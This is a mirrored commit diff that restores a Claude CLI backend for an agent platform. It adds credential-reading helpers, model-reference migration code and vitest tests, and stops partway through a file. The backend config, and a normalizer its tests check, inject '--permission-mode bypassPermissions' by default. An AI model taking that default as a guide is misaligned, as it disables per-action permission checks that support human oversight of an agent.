mirror of
https://github.com/moltbot/moltbot.git
synced 2026-04-26 16:06:16 +00:00
Revert "refactor(cli): remove custom cli backends"
This reverts commit 6243806f7b.
This commit is contained in:
@@ -1,3 +1,4 @@
|
||||
export { CLAUDE_CLI_BACKEND_ID, isClaudeCliProvider } from "./cli-shared.js";
|
||||
export {
|
||||
createAnthropicBetaHeadersWrapper,
|
||||
createAnthropicFastModeWrapper,
|
||||
|
||||
13
extensions/anthropic/cli-auth-seam.ts
Normal file
13
extensions/anthropic/cli-auth-seam.ts
Normal file
@@ -0,0 +1,13 @@
|
||||
import { readClaudeCliCredentialsCached } from "openclaw/plugin-sdk/provider-auth";
|
||||
|
||||
export function readClaudeCliCredentialsForSetup() {
|
||||
return readClaudeCliCredentialsCached();
|
||||
}
|
||||
|
||||
export function readClaudeCliCredentialsForSetupNonInteractive() {
|
||||
return readClaudeCliCredentialsCached({ allowKeychainPrompt: false });
|
||||
}
|
||||
|
||||
export function readClaudeCliCredentialsForRuntime() {
|
||||
return readClaudeCliCredentialsCached({ allowKeychainPrompt: false });
|
||||
}
|
||||
6
extensions/anthropic/cli-backend-api.ts
Normal file
6
extensions/anthropic/cli-backend-api.ts
Normal file
@@ -0,0 +1,6 @@
|
||||
export { buildAnthropicCliBackend } from "./cli-backend.js";
|
||||
export {
|
||||
CLAUDE_CLI_BACKEND_ID,
|
||||
isClaudeCliProvider,
|
||||
normalizeClaudeBackendConfig,
|
||||
} from "./cli-shared.js";
|
||||
67
extensions/anthropic/cli-backend.ts
Normal file
67
extensions/anthropic/cli-backend.ts
Normal file
@@ -0,0 +1,67 @@
|
||||
import type { CliBackendPlugin, CliBackendConfig } from "openclaw/plugin-sdk/cli-backend";
|
||||
import {
|
||||
CLI_FRESH_WATCHDOG_DEFAULTS,
|
||||
CLI_RESUME_WATCHDOG_DEFAULTS,
|
||||
} from "openclaw/plugin-sdk/cli-backend";
|
||||
import {
|
||||
CLAUDE_CLI_BACKEND_ID,
|
||||
CLAUDE_CLI_CLEAR_ENV,
|
||||
CLAUDE_CLI_HOST_MANAGED_ENV,
|
||||
CLAUDE_CLI_MODEL_ALIASES,
|
||||
CLAUDE_CLI_SESSION_ID_FIELDS,
|
||||
normalizeClaudeBackendConfig,
|
||||
} from "./cli-shared.js";
|
||||
|
||||
export function buildAnthropicCliBackend(): CliBackendPlugin {
|
||||
return {
|
||||
id: CLAUDE_CLI_BACKEND_ID,
|
||||
bundleMcp: true,
|
||||
config: {
|
||||
command: "claude",
|
||||
args: [
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--include-partial-messages",
|
||||
"--verbose",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
],
|
||||
resumeArgs: [
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--include-partial-messages",
|
||||
"--verbose",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
],
|
||||
output: "jsonl",
|
||||
input: "stdin",
|
||||
modelArg: "--model",
|
||||
modelAliases: CLAUDE_CLI_MODEL_ALIASES,
|
||||
sessionArg: "--session-id",
|
||||
sessionMode: "always",
|
||||
sessionIdFields: [...CLAUDE_CLI_SESSION_ID_FIELDS],
|
||||
systemPromptArg: "--append-system-prompt",
|
||||
systemPromptMode: "append",
|
||||
systemPromptWhen: "first",
|
||||
env: { ...CLAUDE_CLI_HOST_MANAGED_ENV },
|
||||
clearEnv: [...CLAUDE_CLI_CLEAR_ENV],
|
||||
reliability: {
|
||||
watchdog: {
|
||||
fresh: { ...CLI_FRESH_WATCHDOG_DEFAULTS },
|
||||
resume: { ...CLI_RESUME_WATCHDOG_DEFAULTS },
|
||||
},
|
||||
},
|
||||
serialize: true,
|
||||
},
|
||||
normalizeConfig: normalizeClaudeBackendConfig,
|
||||
};
|
||||
}
|
||||
345
extensions/anthropic/cli-migration.test.ts
Normal file
345
extensions/anthropic/cli-migration.test.ts
Normal file
@@ -0,0 +1,345 @@
|
||||
import type {
|
||||
ProviderAuthContext,
|
||||
ProviderAuthMethodNonInteractiveContext,
|
||||
} from "openclaw/plugin-sdk/plugin-entry";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
const { readClaudeCliCredentialsForSetup, readClaudeCliCredentialsForSetupNonInteractive } =
|
||||
vi.hoisted(() => ({
|
||||
readClaudeCliCredentialsForSetup: vi.fn(),
|
||||
readClaudeCliCredentialsForSetupNonInteractive: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("./cli-auth-seam.js", async (importActual) => {
|
||||
const actual = await importActual<typeof import("./cli-auth-seam.js")>();
|
||||
return {
|
||||
...actual,
|
||||
readClaudeCliCredentialsForSetup,
|
||||
readClaudeCliCredentialsForSetupNonInteractive,
|
||||
};
|
||||
});
|
||||
|
||||
const { buildAnthropicCliMigrationResult, hasClaudeCliAuth } = await import("./cli-migration.js");
|
||||
const { registerSingleProviderPlugin } =
|
||||
await import("../../test/helpers/plugins/plugin-registration.js");
|
||||
const { createTestWizardPrompter } = await import("../../test/helpers/plugins/setup-wizard.js");
|
||||
const { default: anthropicPlugin } = await import("./index.js");
|
||||
|
||||
async function resolveAnthropicCliAuthMethod() {
|
||||
const provider = await registerSingleProviderPlugin(anthropicPlugin);
|
||||
const method = provider.auth.find((entry) => entry.id === "cli");
|
||||
if (!method) {
|
||||
throw new Error("anthropic cli auth method missing");
|
||||
}
|
||||
return method;
|
||||
}
|
||||
|
||||
function createProviderAuthContext(
|
||||
config: ProviderAuthContext["config"] = {},
|
||||
): ProviderAuthContext {
|
||||
return {
|
||||
config,
|
||||
opts: {},
|
||||
env: {},
|
||||
agentDir: "/tmp/openclaw/agents/main",
|
||||
workspaceDir: "/tmp/openclaw/workspace",
|
||||
prompter: createTestWizardPrompter(),
|
||||
runtime: {
|
||||
log: vi.fn(),
|
||||
error: vi.fn(),
|
||||
exit: vi.fn(),
|
||||
},
|
||||
allowSecretRefPrompt: false,
|
||||
isRemote: false,
|
||||
openUrl: vi.fn(),
|
||||
oauth: {
|
||||
createVpsAwareHandlers: vi.fn(),
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function createProviderAuthMethodNonInteractiveContext(
|
||||
config: ProviderAuthMethodNonInteractiveContext["config"] = {},
|
||||
): ProviderAuthMethodNonInteractiveContext {
|
||||
return {
|
||||
authChoice: "anthropic-cli",
|
||||
config,
|
||||
baseConfig: config,
|
||||
opts: {},
|
||||
runtime: {
|
||||
log: vi.fn(),
|
||||
error: vi.fn(),
|
||||
exit: vi.fn(),
|
||||
},
|
||||
agentDir: "/tmp/openclaw/agents/main",
|
||||
workspaceDir: "/tmp/openclaw/workspace",
|
||||
resolveApiKey: vi.fn(async () => null),
|
||||
toApiKeyCredential: vi.fn(() => null),
|
||||
};
|
||||
}
|
||||
|
||||
describe("anthropic cli migration", () => {
|
||||
it("detects local Claude CLI auth", () => {
|
||||
readClaudeCliCredentialsForSetup.mockReturnValue({ type: "oauth" });
|
||||
|
||||
expect(hasClaudeCliAuth()).toBe(true);
|
||||
});
|
||||
|
||||
it("uses the non-interactive Claude auth probe without keychain prompts", () => {
|
||||
readClaudeCliCredentialsForSetup.mockReset();
|
||||
readClaudeCliCredentialsForSetupNonInteractive.mockReset();
|
||||
readClaudeCliCredentialsForSetup.mockReturnValue(null);
|
||||
readClaudeCliCredentialsForSetupNonInteractive.mockReturnValue({ type: "oauth" });
|
||||
|
||||
expect(hasClaudeCliAuth({ allowKeychainPrompt: false })).toBe(true);
|
||||
expect(readClaudeCliCredentialsForSetup).not.toHaveBeenCalled();
|
||||
expect(readClaudeCliCredentialsForSetupNonInteractive).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("rewrites anthropic defaults to claude-cli defaults", () => {
|
||||
const result = buildAnthropicCliMigrationResult({
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "anthropic/claude-sonnet-4-6",
|
||||
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"anthropic/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(result.profiles).toEqual([]);
|
||||
expect(result.defaultModel).toBe("claude-cli/claude-sonnet-4-6");
|
||||
expect(result.configPatch).toEqual({
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"claude-cli/claude-opus-4-6": { alias: "Opus" },
|
||||
"claude-cli/claude-opus-4-5": {},
|
||||
"claude-cli/claude-sonnet-4-5": {},
|
||||
"claude-cli/claude-haiku-4-5": {},
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("adds a Claude CLI default when no anthropic default is present", () => {
|
||||
const result = buildAnthropicCliMigrationResult({
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "openai/gpt-5.2" },
|
||||
models: {
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(result.defaultModel).toBe("claude-cli/claude-sonnet-4-6");
|
||||
expect(result.configPatch).toEqual({
|
||||
agents: {
|
||||
defaults: {
|
||||
models: {
|
||||
"openai/gpt-5.2": {},
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
"claude-cli/claude-opus-4-6": {},
|
||||
"claude-cli/claude-opus-4-5": {},
|
||||
"claude-cli/claude-sonnet-4-5": {},
|
||||
"claude-cli/claude-haiku-4-5": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("backfills the Claude CLI allowlist when older configs only stored sonnet", () => {
|
||||
const result = buildAnthropicCliMigrationResult({
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6" },
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(result.configPatch).toEqual({
|
||||
agents: {
|
||||
defaults: {
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
"claude-cli/claude-opus-4-6": {},
|
||||
"claude-cli/claude-opus-4-5": {},
|
||||
"claude-cli/claude-sonnet-4-5": {},
|
||||
"claude-cli/claude-haiku-4-5": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("registered cli auth tells users to run claude auth login when local auth is missing", async () => {
|
||||
readClaudeCliCredentialsForSetup.mockReturnValue(null);
|
||||
const method = await resolveAnthropicCliAuthMethod();
|
||||
|
||||
await expect(method.run(createProviderAuthContext())).rejects.toThrow(
|
||||
[
|
||||
"Claude CLI is not authenticated on this host.",
|
||||
"Run claude auth login first, then re-run this setup.",
|
||||
].join("\n"),
|
||||
);
|
||||
});
|
||||
|
||||
it("registered cli auth returns the same migration result as the builder", async () => {
|
||||
const credential = {
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: Date.now() + 60_000,
|
||||
} as const;
|
||||
readClaudeCliCredentialsForSetup.mockReturnValue(credential);
|
||||
const method = await resolveAnthropicCliAuthMethod();
|
||||
const config = {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "anthropic/claude-sonnet-4-6",
|
||||
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"anthropic/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
await expect(method.run(createProviderAuthContext(config))).resolves.toEqual(
|
||||
buildAnthropicCliMigrationResult(config, credential),
|
||||
);
|
||||
});
|
||||
|
||||
it("stores a claude-cli oauth profile when Claude CLI credentials are available", () => {
|
||||
const result = buildAnthropicCliMigrationResult(
|
||||
{},
|
||||
{
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: 123,
|
||||
},
|
||||
);
|
||||
|
||||
expect(result.profiles).toEqual([
|
||||
{
|
||||
profileId: "anthropic:claude-cli",
|
||||
credential: {
|
||||
type: "oauth",
|
||||
provider: "claude-cli",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: 123,
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("stores a claude-cli token profile when Claude CLI only exposes a bearer token", () => {
|
||||
const result = buildAnthropicCliMigrationResult(
|
||||
{},
|
||||
{
|
||||
type: "token",
|
||||
provider: "anthropic",
|
||||
token: "bearer-token",
|
||||
expires: 123,
|
||||
},
|
||||
);
|
||||
|
||||
expect(result.profiles).toEqual([
|
||||
{
|
||||
profileId: "anthropic:claude-cli",
|
||||
credential: {
|
||||
type: "token",
|
||||
provider: "claude-cli",
|
||||
token: "bearer-token",
|
||||
expires: 123,
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("registered non-interactive cli auth rewrites anthropic fallbacks before setting the claude-cli default", async () => {
|
||||
readClaudeCliCredentialsForSetupNonInteractive.mockReturnValue({
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: Date.now() + 60_000,
|
||||
});
|
||||
const method = await resolveAnthropicCliAuthMethod();
|
||||
const config = {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "anthropic/claude-sonnet-4-6",
|
||||
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"anthropic/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
await expect(
|
||||
method.runNonInteractive?.(createProviderAuthMethodNonInteractiveContext(config)),
|
||||
).resolves.toMatchObject({
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"claude-cli/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("registered non-interactive cli auth reports missing local auth and exits cleanly", async () => {
|
||||
readClaudeCliCredentialsForSetupNonInteractive.mockReturnValue(null);
|
||||
const method = await resolveAnthropicCliAuthMethod();
|
||||
const ctx = createProviderAuthMethodNonInteractiveContext();
|
||||
|
||||
await expect(method.runNonInteractive?.(ctx)).resolves.toBeNull();
|
||||
expect(ctx.runtime.error).toHaveBeenCalledWith(
|
||||
[
|
||||
'Auth choice "anthropic-cli" requires Claude CLI auth on this host.',
|
||||
"Run claude auth login first.",
|
||||
].join("\n"),
|
||||
);
|
||||
expect(ctx.runtime.exit).toHaveBeenCalledWith(1);
|
||||
});
|
||||
});
|
||||
191
extensions/anthropic/cli-migration.ts
Normal file
191
extensions/anthropic/cli-migration.ts
Normal file
@@ -0,0 +1,191 @@
|
||||
import {
|
||||
CLAUDE_CLI_PROFILE_ID,
|
||||
type OpenClawConfig,
|
||||
type ProviderAuthResult,
|
||||
} from "openclaw/plugin-sdk/provider-auth";
|
||||
import {
|
||||
readClaudeCliCredentialsForSetup,
|
||||
readClaudeCliCredentialsForSetupNonInteractive,
|
||||
} from "./cli-auth-seam.js";
|
||||
import {
|
||||
CLAUDE_CLI_BACKEND_ID,
|
||||
CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS,
|
||||
CLAUDE_CLI_DEFAULT_MODEL_REF,
|
||||
} from "./cli-shared.js";
|
||||
|
||||
type AgentDefaultsModel = NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>["model"];
|
||||
type AgentDefaultsModels = NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>["models"];
|
||||
type ClaudeCliCredential = NonNullable<ReturnType<typeof readClaudeCliCredentialsForSetup>>;
|
||||
|
||||
function toClaudeCliModelRef(raw: string): string | null {
|
||||
const trimmed = raw.trim();
|
||||
if (!trimmed.toLowerCase().startsWith("anthropic/")) {
|
||||
return null;
|
||||
}
|
||||
const modelId = trimmed.slice("anthropic/".length).trim();
|
||||
if (!modelId.toLowerCase().startsWith("claude-")) {
|
||||
return null;
|
||||
}
|
||||
return `claude-cli/${modelId}`;
|
||||
}
|
||||
|
||||
function rewriteModelSelection(model: AgentDefaultsModel): {
|
||||
value: AgentDefaultsModel;
|
||||
primary?: string;
|
||||
changed: boolean;
|
||||
} {
|
||||
if (typeof model === "string") {
|
||||
const converted = toClaudeCliModelRef(model);
|
||||
return converted
|
||||
? { value: converted, primary: converted, changed: true }
|
||||
: { value: model, changed: false };
|
||||
}
|
||||
if (!model || typeof model !== "object" || Array.isArray(model)) {
|
||||
return { value: model, changed: false };
|
||||
}
|
||||
|
||||
const current = model as Record<string, unknown>;
|
||||
const next: Record<string, unknown> = { ...current };
|
||||
let changed = false;
|
||||
let primary: string | undefined;
|
||||
|
||||
if (typeof current.primary === "string") {
|
||||
const converted = toClaudeCliModelRef(current.primary);
|
||||
if (converted) {
|
||||
next.primary = converted;
|
||||
primary = converted;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
const currentFallbacks = current.fallbacks;
|
||||
if (Array.isArray(currentFallbacks)) {
|
||||
const nextFallbacks = currentFallbacks.map((entry) =>
|
||||
typeof entry === "string" ? (toClaudeCliModelRef(entry) ?? entry) : entry,
|
||||
);
|
||||
if (nextFallbacks.some((entry, index) => entry !== currentFallbacks[index])) {
|
||||
next.fallbacks = nextFallbacks;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
value: changed ? next : model,
|
||||
...(primary ? { primary } : {}),
|
||||
changed,
|
||||
};
|
||||
}
|
||||
|
||||
function rewriteModelEntryMap(models: Record<string, unknown> | undefined): {
|
||||
value: Record<string, unknown> | undefined;
|
||||
migrated: string[];
|
||||
} {
|
||||
if (!models) {
|
||||
return { value: models, migrated: [] };
|
||||
}
|
||||
|
||||
const next = { ...models };
|
||||
const migrated: string[] = [];
|
||||
|
||||
for (const [rawKey, value] of Object.entries(models)) {
|
||||
const converted = toClaudeCliModelRef(rawKey);
|
||||
if (!converted) {
|
||||
continue;
|
||||
}
|
||||
if (!(converted in next)) {
|
||||
next[converted] = value;
|
||||
}
|
||||
delete next[rawKey];
|
||||
migrated.push(converted);
|
||||
}
|
||||
|
||||
return {
|
||||
value: migrated.length > 0 ? next : models,
|
||||
migrated,
|
||||
};
|
||||
}
|
||||
|
||||
function seedClaudeCliAllowlist(
|
||||
models: NonNullable<AgentDefaultsModels>,
|
||||
): NonNullable<AgentDefaultsModels> {
|
||||
const next = { ...models };
|
||||
for (const ref of CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS) {
|
||||
next[ref] = next[ref] ?? {};
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
export function hasClaudeCliAuth(options?: { allowKeychainPrompt?: boolean }): boolean {
|
||||
return Boolean(
|
||||
options?.allowKeychainPrompt === false
|
||||
? readClaudeCliCredentialsForSetupNonInteractive()
|
||||
: readClaudeCliCredentialsForSetup(),
|
||||
);
|
||||
}
|
||||
|
||||
function buildClaudeCliAuthProfiles(
|
||||
credential?: ClaudeCliCredential | null,
|
||||
): ProviderAuthResult["profiles"] {
|
||||
if (!credential) {
|
||||
return [];
|
||||
}
|
||||
if (credential.type === "oauth") {
|
||||
return [
|
||||
{
|
||||
profileId: CLAUDE_CLI_PROFILE_ID,
|
||||
credential: {
|
||||
type: "oauth",
|
||||
provider: CLAUDE_CLI_BACKEND_ID,
|
||||
access: credential.access,
|
||||
refresh: credential.refresh,
|
||||
expires: credential.expires,
|
||||
},
|
||||
},
|
||||
];
|
||||
}
|
||||
return [
|
||||
{
|
||||
profileId: CLAUDE_CLI_PROFILE_ID,
|
||||
credential: {
|
||||
type: "token",
|
||||
provider: CLAUDE_CLI_BACKEND_ID,
|
||||
token: credential.token,
|
||||
expires: credential.expires,
|
||||
},
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
export function buildAnthropicCliMigrationResult(
|
||||
config: OpenClawConfig,
|
||||
credential?: ClaudeCliCredential | null,
|
||||
): ProviderAuthResult {
|
||||
const defaults = config.agents?.defaults;
|
||||
const rewrittenModel = rewriteModelSelection(defaults?.model);
|
||||
const rewrittenModels = rewriteModelEntryMap(defaults?.models);
|
||||
const existingModels = (rewrittenModels.value ??
|
||||
defaults?.models ??
|
||||
{}) as NonNullable<AgentDefaultsModels>;
|
||||
const nextModels = seedClaudeCliAllowlist(existingModels);
|
||||
const defaultModel = rewrittenModel.primary ?? CLAUDE_CLI_DEFAULT_MODEL_REF;
|
||||
|
||||
return {
|
||||
profiles: buildClaudeCliAuthProfiles(credential),
|
||||
configPatch: {
|
||||
agents: {
|
||||
defaults: {
|
||||
...(rewrittenModel.changed ? { model: rewrittenModel.value } : {}),
|
||||
models: nextModels,
|
||||
},
|
||||
},
|
||||
},
|
||||
defaultModel,
|
||||
notes: [
|
||||
"Claude CLI auth detected; switched Anthropic model selection to the local Claude CLI backend.",
|
||||
"Existing Anthropic auth profiles are kept for rollback.",
|
||||
...(rewrittenModels.migrated.length > 0
|
||||
? [`Migrated allowlist entries: ${rewrittenModels.migrated.join(", ")}.`]
|
||||
: []),
|
||||
],
|
||||
};
|
||||
}
|
||||
156
extensions/anthropic/cli-shared.test.ts
Normal file
156
extensions/anthropic/cli-shared.test.ts
Normal file
@@ -0,0 +1,156 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { buildAnthropicCliBackend } from "./cli-backend.js";
|
||||
import {
|
||||
CLAUDE_CLI_CLEAR_ENV,
|
||||
CLAUDE_CLI_HOST_MANAGED_ENV,
|
||||
normalizeClaudeBackendConfig,
|
||||
normalizeClaudePermissionArgs,
|
||||
normalizeClaudeSettingSourcesArgs,
|
||||
} from "./cli-shared.js";
|
||||
|
||||
describe("normalizeClaudePermissionArgs", () => {
|
||||
it("injects bypassPermissions when args omit permission flags", () => {
|
||||
expect(
|
||||
normalizeClaudePermissionArgs(["-p", "--output-format", "stream-json", "--verbose"]),
|
||||
).toEqual([
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--verbose",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
});
|
||||
|
||||
it("removes legacy skip-permissions and injects bypassPermissions", () => {
|
||||
expect(
|
||||
normalizeClaudePermissionArgs(["-p", "--dangerously-skip-permissions", "--verbose"]),
|
||||
).toEqual(["-p", "--verbose", "--permission-mode", "bypassPermissions"]);
|
||||
});
|
||||
|
||||
it("keeps explicit permission-mode overrides", () => {
|
||||
expect(normalizeClaudePermissionArgs(["-p", "--permission-mode", "acceptEdits"])).toEqual([
|
||||
"-p",
|
||||
"--permission-mode",
|
||||
"acceptEdits",
|
||||
]);
|
||||
expect(normalizeClaudePermissionArgs(["-p", "--permission-mode=acceptEdits"])).toEqual([
|
||||
"-p",
|
||||
"--permission-mode=acceptEdits",
|
||||
]);
|
||||
});
|
||||
|
||||
it("treats a bare permission-mode flag as malformed and falls back to bypassPermissions", () => {
|
||||
expect(
|
||||
normalizeClaudePermissionArgs(["-p", "--permission-mode", "--output-format", "stream-json"]),
|
||||
).toEqual(["-p", "--output-format", "stream-json", "--permission-mode", "bypassPermissions"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("normalizeClaudeSettingSourcesArgs", () => {
|
||||
it("injects user-only setting sources when args omit the flag", () => {
|
||||
expect(
|
||||
normalizeClaudeSettingSourcesArgs(["-p", "--output-format", "stream-json", "--verbose"]),
|
||||
).toEqual(["-p", "--output-format", "stream-json", "--verbose", "--setting-sources", "user"]);
|
||||
});
|
||||
|
||||
it("forces explicit project or local setting sources back to user-only", () => {
|
||||
expect(normalizeClaudeSettingSourcesArgs(["-p", "--setting-sources", "project"])).toEqual([
|
||||
"-p",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
]);
|
||||
expect(normalizeClaudeSettingSourcesArgs(["-p", "--setting-sources=local,user"])).toEqual([
|
||||
"-p",
|
||||
"--setting-sources=user",
|
||||
]);
|
||||
});
|
||||
|
||||
it("treats a bare setting-sources flag as malformed and falls back to user-only", () => {
|
||||
expect(
|
||||
normalizeClaudeSettingSourcesArgs([
|
||||
"-p",
|
||||
"--setting-sources",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
]),
|
||||
).toEqual(["-p", "--output-format", "stream-json", "--setting-sources", "user"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("normalizeClaudeBackendConfig", () => {
|
||||
it("normalizes both args and resumeArgs for custom overrides", () => {
|
||||
const normalized = normalizeClaudeBackendConfig({
|
||||
command: "claude",
|
||||
args: ["-p", "--output-format", "stream-json", "--verbose"],
|
||||
resumeArgs: ["-p", "--output-format", "stream-json", "--verbose", "--resume", "{sessionId}"],
|
||||
});
|
||||
|
||||
expect(normalized.args).toEqual([
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--verbose",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
expect(normalized.resumeArgs).toEqual([
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--verbose",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
});
|
||||
|
||||
it("is wired through the anthropic cli backend normalize hook", () => {
|
||||
const backend = buildAnthropicCliBackend();
|
||||
const normalizeConfig = backend.normalizeConfig;
|
||||
|
||||
expect(normalizeConfig).toBeTypeOf("function");
|
||||
|
||||
const normalized = normalizeConfig?.({
|
||||
...backend.config,
|
||||
args: ["-p", "--output-format", "stream-json", "--verbose"],
|
||||
resumeArgs: ["-p", "--output-format", "stream-json", "--verbose", "--resume", "{sessionId}"],
|
||||
});
|
||||
|
||||
expect(normalized?.args).toContain("--permission-mode");
|
||||
expect(normalized?.args).toContain("bypassPermissions");
|
||||
expect(normalized?.args).toContain("--setting-sources");
|
||||
expect(normalized?.args).toContain("user");
|
||||
expect(normalized?.resumeArgs).toContain("--permission-mode");
|
||||
expect(normalized?.resumeArgs).toContain("bypassPermissions");
|
||||
expect(normalized?.resumeArgs).toContain("--setting-sources");
|
||||
expect(normalized?.resumeArgs).toContain("user");
|
||||
});
|
||||
|
||||
it("marks claude cli as host-managed, restricts setting sources, and clears inherited env overrides", () => {
|
||||
const backend = buildAnthropicCliBackend();
|
||||
|
||||
expect(backend.config.env).toEqual(CLAUDE_CLI_HOST_MANAGED_ENV);
|
||||
expect(backend.config.args).toContain("--setting-sources");
|
||||
expect(backend.config.args).toContain("user");
|
||||
expect(backend.config.resumeArgs).toContain("--setting-sources");
|
||||
expect(backend.config.resumeArgs).toContain("user");
|
||||
expect(backend.config.clearEnv).toEqual([...CLAUDE_CLI_CLEAR_ENV]);
|
||||
expect(backend.config.clearEnv).toContain("ANTHROPIC_BASE_URL");
|
||||
expect(backend.config.clearEnv).toContain("CLAUDE_CONFIG_DIR");
|
||||
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_USE_BEDROCK");
|
||||
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_OAUTH_TOKEN");
|
||||
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_CACHE_DIR");
|
||||
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_SEED_DIR");
|
||||
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_REMOTE");
|
||||
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_USE_COWORK_PLUGINS");
|
||||
expect(backend.config.clearEnv).toContain("OTEL_METRICS_EXPORTER");
|
||||
expect(backend.config.clearEnv).toContain("OTEL_EXPORTER_OTLP_PROTOCOL");
|
||||
expect(backend.config.clearEnv).toContain("OTEL_SDK_DISABLED");
|
||||
});
|
||||
});
|
||||
174
extensions/anthropic/cli-shared.ts
Normal file
174
extensions/anthropic/cli-shared.ts
Normal file
@@ -0,0 +1,174 @@
|
||||
import type { CliBackendConfig } from "openclaw/plugin-sdk/cli-backend";
|
||||
|
||||
export const CLAUDE_CLI_BACKEND_ID = "claude-cli";
|
||||
export const CLAUDE_CLI_DEFAULT_MODEL_REF = `${CLAUDE_CLI_BACKEND_ID}/claude-sonnet-4-6`;
|
||||
export const CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS = [
|
||||
CLAUDE_CLI_DEFAULT_MODEL_REF,
|
||||
`${CLAUDE_CLI_BACKEND_ID}/claude-opus-4-6`,
|
||||
`${CLAUDE_CLI_BACKEND_ID}/claude-opus-4-5`,
|
||||
